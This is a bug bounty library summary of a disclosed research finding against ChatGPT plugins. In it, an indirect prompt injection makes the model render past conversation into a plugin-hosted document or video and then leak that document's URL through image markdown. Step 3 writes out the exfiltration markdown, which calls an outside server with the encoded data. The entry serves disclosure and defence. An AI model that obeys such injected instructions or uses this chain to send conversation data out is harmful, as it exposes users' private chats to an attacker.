# Advanced Data Exfiltration Techniques with ChatGPT

Indirect prompt injection makes ChatGPT invoke plugins to render chat history into a document/video, then leaks the resource URL via image markdown to attacker server.

- Payout: Research
- Severity: medium
- Program: OpenAI
- Write-up by: Johann Rehberger
- Disclosed: 2023-09-28
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2023/advanced-plugin-data-exfiltration-trickery/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2023-advanced-plugin-data-exfiltration-trickery
- Tags: area:ai domain:ai impact:data-leak impact:pii-leak kind:research platform:research sev:medium tech:llm technique:chained vuln:prompt-injection

**Target:** ChatGPT plugins and image markdown rendering
**Root cause:** ChatGPT auto-invokes plugins without user confirmation and renders attacker-controlled image markdown, letting injected prompts create external resources and leak their URLs.
**Steps:**
1. Host indirect prompt injection payload on a web server that ChatGPT will ingest into context
2. Payload instructs ChatGPT to use an available plugin to document past conversation turns in detail
3. Payload instructs ChatGPT to locate the returned resource URL, URL-encode it, and render `![document](https://wuzzi.net/?u=[DATA])`
4. ChatGPT invokes plugin (Doc Maker, Diagrams Show Me, QR Code, HeyGen) creating external resource with chat data
5. ChatGPT renders image markdown, browser fetches attacker URL with encoded resource link in query
6. Attacker reads resource URL from server logs and opens the plugin-created document/video containing the conversation
**How found:** Author had prior idea of diagram creation for exfiltration; realized plugin-returned resource URLs are unknown to attacker, so used the known image markdown injection as a control channel to leak that URL.
**Exploitation:** Attacker plants indirect prompt injection in content the user chats about; ChatGPT auto-invokes an enabled plugin to render the conversation into a document/image/video hosted externally, then leaks that resource URL to the attacker via image markdown fetch, giving full access to the exfiltrated chat history.
**Escalation:** Generic payload lets ChatGPT pick any enabled plugin as exfil channel; large data volumes moved via documents/videos rather than URL length limits.
**Insight:** When a target can create external resources but you can't guess their URLs, chain a second low-bandwidth leak channel (image markdown, link prefetch) to exfiltrate the resource locator rather than the data itself.
